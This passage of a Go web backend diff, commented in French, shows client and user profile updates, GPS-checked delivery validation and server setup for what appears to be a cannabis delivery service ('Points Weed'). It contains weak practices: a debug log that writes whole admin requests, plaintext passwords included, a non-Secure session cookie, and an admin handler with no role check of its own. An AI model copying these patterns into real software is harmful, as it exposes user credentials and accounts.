c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
return
}
client.Username = req.Username
hasChanges = true
}
// Mise à jour du mot de passe
if req.Password != "" {
if len(req.Password) < 8 {
c.JSON(http.StatusBadRequest, gin.H{"error": "Le mot de passe doit contenir au moins 8 caractères"})
return
}
hashed, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
if err != nil {
log.Printf("❌ [UPDATE_MY_PROFILE] Erreur bcrypt: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur traitement mot de passe"})
return
}
client.Password = string(hashed)
hasChanges = true
}
// Mise à jour du nom
if req.Nom != "" && req.Nom != client.Nom {
if len(strings.TrimSpace(req.Nom)) < 2 {
c.JSON(http.StatusBadRequest, gin.H{"error": "Le nom doit contenir au moins 2 caractères"})
return
}
client.Nom = strings.TrimSpace(req.Nom)
hasChanges = true
}
// Mise à jour du prénom
if req.Prenom != "" && req.Prenom != client.Prenom {
if len(strings.TrimSpace(req.Prenom)) < 2 {
c.JSON(http.StatusBadRequest, gin.H{"error": "Le prénom doit contenir au moins 2 caractères"})
return
}
client.Prenom = strings.TrimSpace(req.Prenom)
hasChanges = true
}
// Mise à jour du téléphone
if req.Telephone != "" && req.Telephone != client.Telephone {
if !validatePhoneNumber(req.Telephone) {
log.Printf("❌ [UPDATE_MY_PROFILE] Téléphone invalide: %s", req.Telephone)
c.JSON(http.StatusBadRequest, gin.H{"error": "Numéro de téléphone invalide"})
return
}
normalizedPhone := normalizePhoneNumber(req.Telephone)
// Vérifier que le téléphone n'est pas déjà utilisé
if existingClient, _ := database.GetClientByTelephone(normalizedPhone); existingClient != nil && existingClient.ID != clientID {
log.Printf("❌ [UPDATE_MY_PROFILE] Téléphone déjà utilisé: %s", normalizedPhone)
c.JSON(http.StatusConflict, gin.H{"error": "Ce numéro de téléphone est déjà utilisé"})
return
}
client.Telephone = normalizedPhone
hasChanges = true
}
if !hasChanges {
c.JSON(http.StatusOK, gin.H{
"message": "Aucune modification détectée",
"client": sanitizeClient(client),
})
return
}
// Sauvegarder les modifications
if err := database.UpdateClient(client); err != nil {
log.Printf("❌ [UPDATE_MY_PROFILE] Erreur mise à jour: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lors de la mise à jour"})
return
}
log.Printf("✅ [UPDATE_MY_PROFILE] Profil mis à jour: %s (ID=%d)", client.Username, client.ID)
c.JSON(http.StatusOK, gin.H{
"message": "Profil mis à jour avec succès",
"client": sanitizeClient(client),
})
}
// ============================================
// MODIFICATION PROFIL CLIENT (PAR ADMIN)
// ============================================
// UpdateClientByAdmin permet à un admin de modifier n'importe quel profil client
// PUT /api/v2/admin/protected/clients/:id
func UpdateClientByAdmin(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
role, exists := c.Get("user_role")
if !exists || role != "admin" {
c.JSON(http.StatusForbidden, gin.H{
"error": "Accès réservé aux administrateurs",
})
return
}
// Récupérer l'ID du client à modifier
clientIDStr := c.Param("id")
clientID, err := strconv.Atoi(clientIDStr)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID client invalide"})
return
}
var req models.AdminUpdateClientRequest
if err := c.ShouldBindJSON(&req); err != nil {
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Erreur binding: %v", err)
c.JSON(http.StatusBadRequest, gin.H{
"error": "Données invalides",
"details": err.Error(),
})
return
}
// ✅ LOG DEBUG - Voir ce qui est reçu
log.Printf("📝 [UPDATE_CLIENT_ADMIN] Requête reçue: %+v", req)
// Récupérer le client actuel
client, err := database.GetClientByID(clientID)
if err != nil {
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Client non trouvé: ID=%d", clientID)
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
return
}
// ✅ LOG DEBUG - État initial
log.Printf("📊 [UPDATE_CLIENT_ADMIN] État initial - Command: %d, Point: %d, PointZipette: %d, Amende: %.2f",
client.Command, client.Point, client.PointZipette, client.Amende)
// Vérifier si des modifications sont demandées
hasChanges := false
// Mise à jour du username
if req.Username != "" && req.Username != client.Username {
// Vérifier que le nouveau username n'existe pas
if existingClient, _ := database.GetClientByUsername(req.Username); existingClient != nil {
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Username déjà utilisé: %s", req.Username)
c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
return
}
client.Username = req.Username
hasChanges = true
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Username modifié: %s", req.Username)
}
// Mise à jour du mot de passe
if req.Password != "" {
if len(req.Password) < 8 {
c.JSON(http.StatusBadRequest, gin.H{"error": "Le mot de passe doit contenir au moins 8 caractères"})
return
}
hashed, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
if err != nil {
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Erreur bcrypt: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur traitement mot de passe"})
return
}
client.Password = string(hashed)
hasChanges = true
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Mot de passe modifié")
}
// Mise à jour du nom
if req.Nom != "" && req.Nom != client.Nom {
client.Nom = strings.TrimSpace(req.Nom)
hasChanges = true
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Nom modifié: %s", req.Nom)
}
// Mise à jour du prénom
if req.Prenom != "" && req.Prenom != client.Prenom {
client.Prenom = strings.TrimSpace(req.Prenom)
hasChanges = true
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Prénom modifié: %s", req.Prenom)
}
// Mise à jour du téléphone
if req.Telephone != "" && req.Telephone != client.Telephone {
if !validatePhoneNumber(req.Telephone) {
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Téléphone invalide: %s", req.Telephone)
c.JSON(http.StatusBadRequest, gin.H{"error": "Numéro de téléphone invalide"})
return
}
normalizedPhone := normalizePhoneNumber(req.Telephone)
// Vérifier que le téléphone n'est pas déjà utilisé
if existingClient, _ := database.GetClientByTelephone(normalizedPhone); existingClient != nil && existingClient.ID != clientID {
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Téléphone déjà utilisé: %s", normalizedPhone)
c.JSON(http.StatusConflict, gin.H{"error": "Ce numéro de téléphone est déjà utilisé"})
return
}
client.Telephone = normalizedPhone
hasChanges = true
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Téléphone modifié: %s", normalizedPhone)
}
// ✅ CORRECTION: Mise à jour du compteur de commandes (Admin uniquement)
// Vérifier explicitement si le champ est présent (même si valeur = 0)
if req.Command != nil && *req.Command != client.Command {
client.Command = *req.Command
hasChanges = true
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Commandes modifiées: %d → %d", client.Command, *req.Command)
}
// ✅ CORRECTION: Mise à jour des points weed/hash (Admin uniquement)
if req.Point != nil && *req.Point != client.Point {
client.Point = *req.Point
hasChanges = true
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Points Weed modifiés: %d → %d", client.Point, *req.Point)
}
// ✅ CORRECTION CRITIQUE: Mise à jour des points zipette (Admin uniquement)
if req.PointsZipette != nil && *req.PointsZipette != client.PointZipette {
client.PointZipette = *req.PointsZipette
hasChanges = true
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Points Zipette modifiés: %d → %d", client.PointZipette, *req.PointsZipette)
}
// ✅ CORRECTION: Mise à jour des amendes (Admin uniquement)
if req.Amende != nil && *req.Amende != client.Amende {
client.Amende = *req.Amende
hasChanges = true
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Amendes modifiées: %.2f → %.2f", client.Amende, *req.Amende)
}
if !hasChanges {
log.Printf("️ [UPDATE_CLIENT_ADMIN] Aucune modification détectée pour client ID=%d", clientID)
c.JSON(http.StatusOK, gin.H{
"message": "Aucune modification détectée",
"client": sanitizeClient(client),
})
return
}
// ✅ LOG DEBUG - État avant sauvegarde
log.Printf("📊 [UPDATE_CLIENT_ADMIN] État avant save - Command: %d, Point: %d, PointZipette: %d, Amende: %.2f",
client.Command, client.Point, client.PointZipette, client.Amende)
// Sauvegarder les modifications
if err := database.UpdateClient(client); err != nil {
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Erreur mise à jour: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lors de la mise à jour"})
return
}
log.Printf("✅ [UPDATE_CLIENT_ADMIN] Client mis à jour par admin: %s (ID=%d)", client.Username, client.ID)
c.JSON(http.StatusOK, gin.H{
"message": "Client mis à jour avec succès",
"client": sanitizeClient(client),
})
}
// ============================================
// MODIFICATION PROFIL USER (PAR ADMIN)
// ============================================
// UpdateUserByAdmin permet à un admin de modifier n'importe quel profil user
// PUT /api/v2/admin/protected/users/:id
func UpdateUserByAdmin(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// Récupérer l'ID de l'utilisateur à modifier
userIDStr := c.Param("id")
userID, err := strconv.Atoi(userIDStr)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID utilisateur invalide"})
return
}
var req models.UpdateUserProfileRequest
if err := c.ShouldBindJSON(&req); err != nil {
log.Printf("❌ [UPDATE_USER_ADMIN] Erreur binding: %v", err)
c.JSON(http.StatusBadRequest, gin.H{
"error": "Données invalides",
"details": err.Error(),
})
return
}
// Récupérer l'utilisateur actuel
user, err := database.GetUserByID(userID)
if err != nil {
log.Printf("❌ [UPDATE_USER_ADMIN] User non trouvé: ID=%d", userID)
c.JSON(http.StatusNotFound, gin.H{"error": "Utilisateur non trouvé"})
return
}
// Vérifier si des modifications sont demandées
hasChanges := false
// Mise à jour du username
if req.Username != "" && req.Username != user.Username {
// Vérifier que le nouveau username n'existe pas
if existingUser, _ := database.GetUserByUsername(req.Username); existingUser != nil {
log.Printf("❌ [UPDATE_USER_ADMIN] Username déjà utilisé: %s", req.Username)
c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
return
}
user.Username = req.Username
hasChanges = true
}
// Mise à jour du mot de passe
if req.Password != "" {
if len(req.Password) < 8 {
c.JSON(http.StatusBadRequest, gin.H{"error": "Le mot de passe doit contenir au moins 8 caractères"})
return
}
hashed, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
if err != nil {
log.Printf("❌ [UPDATE_USER_ADMIN] Erreur bcrypt: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur traitement mot de passe"})
return
}
user.Password = string(hashed)
hasChanges = true
}
// Mise à jour du rôle
if req.Role != "" && req.Role != user.Role {
// Valider le rôle
validRoles := map[string]bool{
"admin": true,
"cabine": true,
"livreur": true,
}
if !validRoles[req.Role] {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Rôle invalide. Valeurs acceptées: admin, cabine, livreur",
})
return
}
user.Role = req.Role
hasChanges = true
}
if !hasChanges {
c.JSON(http.StatusOK, gin.H{
"message": "Aucune modification détectée",
"user": sanitizeUser(user),
})
return
}
// Sauvegarder les modifications
if err := database.UpdateUser(user); err != nil {
log.Printf("❌ [UPDATE_USER_ADMIN] Erreur mise à jour: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lors de la mise à jour"})
return
}
log.Printf("✅ [UPDATE_USER_ADMIN] User mis à jour par admin: %s (ID=%d, Role=%s)", user.Username, user.ID, user.Role)
c.JSON(http.StatusOK, gin.H{
"message": "Utilisateur mis à jour avec succès",
"user": sanitizeUser(user),
})
}
// ============================================
// UTILITAIRES
// ============================================
func sanitizeClient(client *models.Client) gin.H {
return gin.H{
"id": client.ID,
"username": client.Username,
"nom": client.Nom,
"prenom": client.Prenom,
"telephone": client.Telephone,
"command": client.Command,
"point": client.Point,
"points_zipette": client.PointZipette, // ✅ AJOUTÉ
"amende": client.Amende,
}
}
func sanitizeUser(user *models.User) gin.H {
return gin.H{
"id": user.ID,
"username": user.Username,
"role": user.Role,
}
}
@@ -0,0 +1,409 @@
// ============================================
// handlers/delivery_validation_handler.go - CLEAN VERSION
// VALIDATION LIVRAISON AVEC VÉRIFICATION PROXIMITÉ GPS
//
// ⚠️ IMPORTANT: Ce fichier contient UNIQUEMENT les fonctions livreur
// Les fonctions ADMIN sont dans cabine_handlers.go
// ============================================
package handlers
import (
"encoding/json"
"fmt"
"gestion/db"
"gestion/services"
"log"
"net/http"
"strconv"
"github.com/gin-gonic/gin"
)
// ============================================
// CONSTANTES DE CONFIGURATION
// ============================================
const (
// Distance maximale en mètres pour valider une livraison
MAX_DELIVERY_VALIDATION_DISTANCE_METERS = 100 // 100 mètres
// Distance maximale en kilomètres
MAX_DELIVERY_VALIDATION_DISTANCE_KM = 0.1 // 100 mètres = 0.1 km
)
// ============================================
// 1️⃣ VALIDATION LIVRAISON PAR LE LIVREUR (AVEC VÉRIFICATION GPS)
// ============================================
func ValidateDeliveryByLivreur(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ: Livreur seulement
username, exists := c.Get("username")
if !exists || c.GetString("role") != "livreur" {
log.Printf("❌ [VALIDATE_LIVREUR] Accès refusé")
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
return
}
usernameStr := username.(string)
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
var req struct {
Latitude float64 `json:"latitude" binding:"required"`
Longitude float64 `json:"longitude" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
log.Printf("❌ [VALIDATE_LIVREUR] Erreur JSON: %v", err)
c.JSON(http.StatusBadRequest, gin.H{
"error": "Coordonnées GPS requises",
"details": err.Error(),
})
return
}
log.Printf("📍 [VALIDATE_LIVREUR] Livreur %s valide cmd %d avec GPS: (%.6f, %.6f)",
usernameStr, commandID, req.Latitude, req.Longitude)
// ✅ ÉTAPE 1: Récupérer la commande
command, err := database.GetCommandByID(commandID)
if err != nil {
log.Printf("❌ [VALIDATE_LIVREUR] Commande non trouvée")
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
// ✅ ÉTAPE 2: VÉRIFIER PROPRIÉTÉ
livreurAssign, _ := command["livreur_assign"].(string)
if livreurAssign != usernameStr {
log.Printf("❌ [VALIDATE_LIVREUR] ⚠️ TENTATIVE D'ACCÈS NON AUTORISÉ!")
c.JSON(http.StatusForbidden, gin.H{
"error": "Cette commande ne vous est pas assignée",
})
return
}
// ✅ ÉTAPE 3: VALIDATION GPS (CRITIQUE)
destLat, _ := command["dest_latitude"].(float64)
destLon, _ := command["dest_longitude"].(float64)
distance := calculateDistance(req.Latitude, req.Longitude, destLat, destLon)
log.Printf("📍 [VALIDATE_LIVREUR] Distance: %.2f m (limite: 100m)", distance)
// ✅ SÉCURITÉ GPS: Doit être à moins de 100 mètres
if distance > 100 {
log.Printf("❌ [VALIDATE_LIVREUR] Trop loin! Distance: %.2f m", distance)
c.JSON(http.StatusBadRequest, gin.H{
"error": "Vous êtes trop loin de la destination",
"required_distance": 100,
"current_distance": fmt.Sprintf("%.2f", distance),
"unit": "meters",
"destination_coords": gin.H{
"latitude": destLat,
"longitude": destLon,
},
"your_coords": gin.H{
"latitude": req.Latitude,
"longitude": req.Longitude,
},
})
return
}
log.Printf("✅ [VALIDATE_LIVREUR] GPS VALIDÉ - Distance: %.2f m < 100m", distance)
// ✅ ÉTAPE 4: Sauvegarder les coordonnées du livreur
_, err = database.Exec(
"UPDATE commandes SET livreur_latitude = $1, livreur_longitude = $2 WHERE id = $3",
req.Latitude, req.Longitude, commandID,
)
if err != nil {
log.Printf("⚠️ [VALIDATE_LIVREUR] Erreur sauvegarde GPS: %v", err)
}
// ✅ ÉTAPE 5: Marquer la livraison comme "livre"
if err := database.UpdateCommandStatus(commandID, "livre"); err != nil {
log.Printf("❌ [VALIDATE_LIVREUR] Erreur update statut: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur validation",
"details": err.Error(),
})
return
}
// ✅ ÉTAPE 6: Ajouter un log
database.AddCommandLog(commandID, "livre",
fmt.Sprintf("Livraison confirmée par livreur - Distance: %.2f m", distance),
usernameStr)
// ✅ ÉTAPE 7: Optimiser la queue
log.Printf("📦 [VALIDATE_LIVREUR] Optimisation queue de %s...", usernameStr)
err = database.CompleteDeliveryAndProcessNext(usernameStr, commandID)
if err != nil {
log.Printf("⚠️ [VALIDATE_LIVREUR] Erreur optimisation: %v", err)
}
log.Printf("✅ [VALIDATE_LIVREUR] Commande %d validée et marquée 'livre'", commandID)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Livraison validée avec succès",
"command_id": commandID,
"new_status": "livre",
"distance": fmt.Sprintf("%.2f", distance),
"gps_verified": true,
})
}
// ============================================
// 2️⃣ VÉRIFIER SI LE LIVREUR PEUT VALIDER (SANS VALIDER)
// ============================================
// CheckDeliveryValidationEligibility vérifie si le livreur peut valider une livraison
// GET /api/v1/deliveries/:id/can-validate
func CheckDeliveryValidationEligibility(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, exists := c.Get("username")
if !exists {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Non authentifié"})
return
}
userRole := c.GetString("role")
if userRole != "livreur" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
return
}
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
// Vérifier l'assignation
livreurAssign, _ := command["livreur_assign"].(string)
if livreurAssign != username.(string) {
c.JSON(http.StatusOK, gin.H{
"can_validate": false,
"reason": "Commande non assignée à vous",
})
return
}
// Récupérer la position du livreur
livreurLat, livreurLon, err := database.GetDeliveryPersonLocation(username.(string))
if err != nil {
c.JSON(http.StatusOK, gin.H{
"can_validate": false,
"reason": "Position GPS non disponible",
"action": "Mettez à jour votre position GPS",
})
return
}
// Récupérer les coordonnées de destination (même priorité que ValidateDeliveryByLivreur)
var destLat, destLon float64
var coordsSource string
// ✅ PRIORITÉ 1: Cache Redis
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
destData, redisErr := db.Redis.Get(db.RedisCtx, destCacheKey).Result()
if redisErr == nil && destData != "" {
var coords struct {
Lat float64 `json:"lat"`
Lon float64 `json:"lon"`
}
if err := json.Unmarshal([]byte(destData), &coords); err == nil && coords.Lat != 0 && coords.Lon != 0 {
destLat = coords.Lat
destLon = coords.Lon
coordsSource = "REDIS"
log.Printf("📍 [CAN-VALIDATE] Coords depuis Redis: (%.6f, %.6f)", destLat, destLon)
}
}
// ✅ PRIORITÉ 2: DB
if coordsSource == "" {
if dLat, ok := getFloatFromMap(command, "dest_latitude"); ok && dLat != 0 {
destLat = dLat
}
if dLon, ok := getFloatFromMap(command, "dest_longitude"); ok && dLon != 0 {
destLon = dLon
}
if destLat != 0 && destLon != 0 {
coordsSource = "DB"
}
}
// ✅ PRIORITÉ 3: Géocodage
if coordsSource == "" {
geoService := c.MustGet("geoService").(*services.GeoService)
address, _ := command["adresse"].(string)
if address != "" && address != "Adresse non spécifiée" {
location, err := geoService.GeocodeAddress(address)
if err == nil {
destLat = location.Latitude
destLon = location.Longitude
coordsSource = "GEOCODING"
}
}
}
if destLat == 0 || destLon == 0 {
c.JSON(http.StatusOK, gin.H{
"can_validate": false,
"reason": "Coordonnées de destination non disponibles",
})
return
}
// Calculer la distance
distance := services.CalculateDistance(
services.Coordinates{Latitude: livreurLat, Longitude: livreurLon},
services.Coordinates{Latitude: destLat, Longitude: destLon},
)
distanceMeters := distance * 1000
canValidate := distance <= MAX_DELIVERY_VALIDATION_DISTANCE_KM
c.JSON(http.StatusOK, gin.H{
"can_validate": canValidate,
"your_position": gin.H{
"latitude": livreurLat,
"longitude": livreurLon,
},
"destination": gin.H{
"latitude": destLat,
"longitude": destLon,
"address": command["adresse"],
"source": coordsSource,
},
"distance_meters": int(distanceMeters),
"max_allowed_meters": MAX_DELIVERY_VALIDATION_DISTANCE_METERS,
"remaining_meters": maxInt(0, int(distanceMeters)-MAX_DELIVERY_VALIDATION_DISTANCE_METERS),
"message": func() string {
if canValidate {
return "Vous pouvez valider cette livraison"
}
return fmt.Sprintf("Rapprochez-vous de %.0f mètres pour valider", distanceMeters-float64(MAX_DELIVERY_VALIDATION_DISTANCE_METERS))
}(),
})
}
// ============================================
// 3️⃣ DÉMARRER UNE LIVRAISON (PASSER EN IN_ROUTE)
// ============================================
// StartDelivery permet au livreur de démarrer une livraison (passage en in_transit)
// POST /api/v1/deliveries/:id/start
func StartDelivery(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username, exists := c.Get("username")
if !exists || c.GetString("role") != "livreur" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès réservé aux livreurs"})
return
}
usernameStr := username.(string)
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
return
}
var req struct {
Latitude float64 `json:"latitude"`
Longitude float64 `json:"longitude"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Coordonnées GPS requises",
"details": err.Error(),
})
return
}
log.Printf("🚗 [START] %s démarre livraison cmd %d", usernameStr, commandID)
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
// Vérifier propriété
livreurAssign, _ := command["livreur_assign"].(string)
if livreurAssign != usernameStr {
c.JSON(http.StatusForbidden, gin.H{
"error": "Cette commande ne vous est pas assignée",
})
return
}
// Vérifier le statut actuel
currentStatus, _ := command["status"].(string)
if currentStatus != "support" && currentStatus != "assigned" {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Impossible de démarrer cette livraison",
"current_status": currentStatus,
"message": "La commande doit être en statut 'support' ou 'assigned'",
})
return
}
// Mettre à jour le statut en "en_route"
if err := database.UpdateCommandStatus(commandID, "en_route"); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur mise à jour statut",
"details": err.Error(),
})
return
}
// Mettre à jour la position du livreur
database.UpdateLivreurPosition(usernameStr, req.Latitude, req.Longitude, "busy")
// Mettre à jour le statut du livreur
database.SetDeliveryPersonStatus(usernameStr, "busy", commandID)
// Ajouter un log
database.AddCommandLog(commandID, "en_route",
fmt.Sprintf("Livraison démarrée par %s", usernameStr),
usernameStr)
log.Printf("✅ [START] Livraison %d démarrée", commandID)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Livraison démarrée",
"command_id": commandID,
"status": "en_route",
})
}
// ============================================
// HELPERS
// ============================================
func maxInt(a, b int) int {
if a > b {
return a
}
return b
}
+191
View File
@@ -0,0 +1,191 @@
// ============================================
// main.go - VERSION SIMPLIFIÉE AVEC CLEANUP AUTO
// ============================================
package main
import (
"gestion/db"
"gestion/routes"
"gestion/services"
"gestion/workers"
"log"
"net/http"
"os"
"github.com/gin-contrib/cors"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/joho/godotenv"
)
func main() {
// Chargement des variables d'environnement
if err := godotenv.Load(); err != nil {
log.Println("⚠️ Aucun fichier .env trouvé, utilisation des valeurs par défaut.")
}
// Initialisation de la base de données
database := db.InitDB()
defer database.Close()
log.Printf("✅ Database initialisée: %+v", database)
// Initialisation de Redis
db.InitRedis()
defer db.Redis.Close()
log.Println("✅ Redis initialisé avec succès")
// Initialisation du service de géolocalisation
geoService := services.NewGeoService(db.Redis, db.RedisCtx)
log.Println("✅ Service de géolocalisation initialisé")
// ============================================
// 🧹 NETTOYAGE INITIAL DES COMMANDES INVALIDES
// ============================================
log.Println("")
log.Println("🧹 Démarrage du nettoyage des commandes invalides...")
removed, err := database.CleanupInvalidQueueCommands()
if err != nil {
log.Printf("❌ Erreur lors du nettoyage initial: %v", err)
} else {
if removed > 0 {
log.Printf("✅ Nettoyage initial terminé: %d commandes invalides supprimées", removed)
} else {
log.Println("✅ Nettoyage initial: Aucune commande invalide trouvée")
}
}
// ============================================
// 🔄 DÉMARRAGE DU SCHEDULER DE NETTOYAGE AUTO
// ============================================
go database.StartQueueCleanupScheduler()
log.Println("✅ Scheduler de nettoyage démarré (toutes les 5 min)")
// ============================================
// 🔄 SYNCHRONISATION DES STATUTS LIVREURS
// ============================================
if err := database.SyncAllDeliverymanStatuses(); err != nil {
log.Printf("⚠️ Erreur synchronisation statuts: %v", err)
} else {
log.Println("✅ Synchronisation des statuts livreurs terminée")
}
// ============================================
// ⭐ DÉMARRAGE DU CRON JOB AUTO-ASSIGNATION
// ============================================
go workers.StartAutoAssignmentCron(database, geoService)
log.Println("✅ Cron job auto-assignation démarré (5 min)")
// Démarrage des workers Redis en arrière-plan
go workers.StartRedisWorkers(database)
log.Println("✅ Workers Redis démarrés")
gin.SetMode(gin.ReleaseMode)
r := gin.Default()
// Configuration des sessions
store := cookie.NewStore([]byte(os.Getenv("SESSION_SECRET")))
store.Options(sessions.Options{
Path: "/",
Domain: "",
MaxAge: 3600,
HttpOnly: true,
Secure: false,
SameSite: http.SameSiteLaxMode,
})
r.Use(sessions.Sessions("mysession", store))
// Configuration CORS
r.Use(cors.New(cors.Config{
AllowOrigins: []string{"http://172.20.167.237", "http://localhost:5173", "http://localhost:8080", "http://192.168.1.72"},
AllowMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
AllowHeaders: []string{"Origin", "Content-Type", "Accept", "Authorization"},
ExposeHeaders: []string{"Content-Length"},
AllowCredentials: true,
}))
// Middleware pour injecter la base de données et geoService
r.Use(func(c *gin.Context) {
c.Set("database", database)
c.Set("geoService", geoService)
c.Next()
})
// Fichiers statiques
r.Static("/uploads", "./uploads")
// ============================================
// ENREGISTRER TOUTES LES ROUTES
// ============================================
routes.SetupRoutes(r, database, geoService)
// ============================================
// LANCEMENT DU SERVEUR
// ============================================
printServerInfo()
if err := r.Run(":8080"); err != nil {
log.Fatalf("❌ Erreur au lancement du serveur : %v", err)
}
}
// printServerInfo affiche les infos du serveur au démarrage
func printServerInfo() {
log.Println("")
log.Println("═══════════════════════════════════════════════════════════")
log.Println("🚀 Serveur lancé sur http://localhost:8080")
log.Println("═══════════════════════════════════════════════════════════")
log.Println("")
log.Println("📡 API Endpoints disponibles:")
log.Println("")
log.Println(" 🌍 PUBLIC:")
log.Println(" GET /api/v1/health - Health check")
log.Println(" GET /api/v1/products - Liste produits")
log.Println("")
log.Println(" 👤 CLIENTS:")
log.Println(" POST /api/v1/auth/register - Inscription")
log.Println(" POST /api/v1/auth/login - Connexion")
log.Println(" POST /api/v1/checkout - ✅ PASSER COMMANDE (avec auto-assign)")
log.Println(" GET /api/v1/my-commands - Mes commandes avec suivi")
log.Println(" GET /api/v1/commands/:id/status - ✅ Statut temps réel")
log.Println(" GET /api/v1/commands/:id/tracking - ✅ Suivi détaillé")
log.Println(" POST /api/v1/commands/:id/approve - Confirmer livraison")
log.Println("")
log.Println(" 🚗 LIVREURS:")
log.Println(" GET /api/v1/livreur/deliveries - ✅ Mes livraisons (SANS téléphone client)")
log.Println(" GET /api/v1/livreur/deliveries/:id - ✅ Détail livraison filtrée")
log.Println(" PUT /api/v1/livreur/deliveries/:id/status - MAJ statut (avec GPS)")
log.Println(" POST /api/v1/livreur/location/update - MAJ position GPS")
log.Println(" GET /api/v1/livreur/queue - Ma queue de livraisons")
log.Println("")
log.Println(" 🔐 ADMIN:")
log.Println(" POST /api/v2/admin/auth/login - Connexion admin")
log.Println(" GET /api/v2/admin/protected/orders - Toutes les commandes")
log.Println(" POST /api/v2/admin/protected/orders/:id/auto-assign - ✅ Auto-assign GPS")
log.Println(" POST /api/v2/admin/protected/commands/auto-assign-all - ✅ Assigner toutes")
log.Println(" GET /api/v2/admin/protected/delivery/queues - Queues livreurs")
log.Println("")
log.Println("⏰ Workers & Services actifs:")
log.Println(" - ✅ AutoAssignmentCron (5min) - Assignation backup")
log.Println(" - ✅ QueueCleanupScheduler (5min) - 🧹 Nettoyage commandes invalides")
log.Println(" - ✅ NotificationWorker (30s) - Notifications ETA")
log.Println(" - ✅ StockCleanupWorker (5min) - Nettoyage stock")
log.Println("")
log.Println("🎯 Fonctionnalités activées:")
log.Println(" 1. ✅ Auto-assignation au checkout (immédiate)")
log.Println(" 2. ✅ Cron job backup (toutes les 5 min)")
log.Println(" 3. ✅ Validation stricte avant ajout à la queue")
log.Println(" 4. ✅ Nettoyage automatique des commandes invalides")
log.Println(" 5. ✅ Vue livreur filtrée (sans téléphone)")
log.Println(" 6. ✅ Vue client avec suivi temps réel")
log.Println(" 7. ✅ Gestion automatique statut BUSY (queue >= 10)")
log.Println("")
log.Println("🔒 Règles de validation automatique:")
log.Println(" - Username non vide ✓")
log.Println(" - Adresse de livraison non vide ✓")
log.Println(" - Coordonnées GPS valides (lat != 0, lng != 0) ✓")
log.Println(" - Date de création valide ✓")
log.Println(" - Prix total > 0 (recommandé) ✓")
log.Println("")
log.Println("═══════════════════════════════════════════════════════════")
log.Println("")
}
@@ -0,0 +1,653 @@
// ============================================
// middleware/middleware_CORRIGES.go
// ============================================
// Réorganisation complète des middlewares
// Déplace ClientMiddleware, AdminMiddleware, etc depuis handlers/auth.go
package middleware
import (
"fmt"
"gestion/db"
"log"
"net/http"
"os"
"strconv"
"strings"
"time"
"github.com/gin-gonic/gin"
"github.com/golang-jwt/jwt/v5"
)
// ============================================
// TYPES JWT CLAIMS
// ============================================
type ClientClaims struct {
ClientID int `json:"client_id"`
Username string `json:"username"`
Role string `json:"role"`
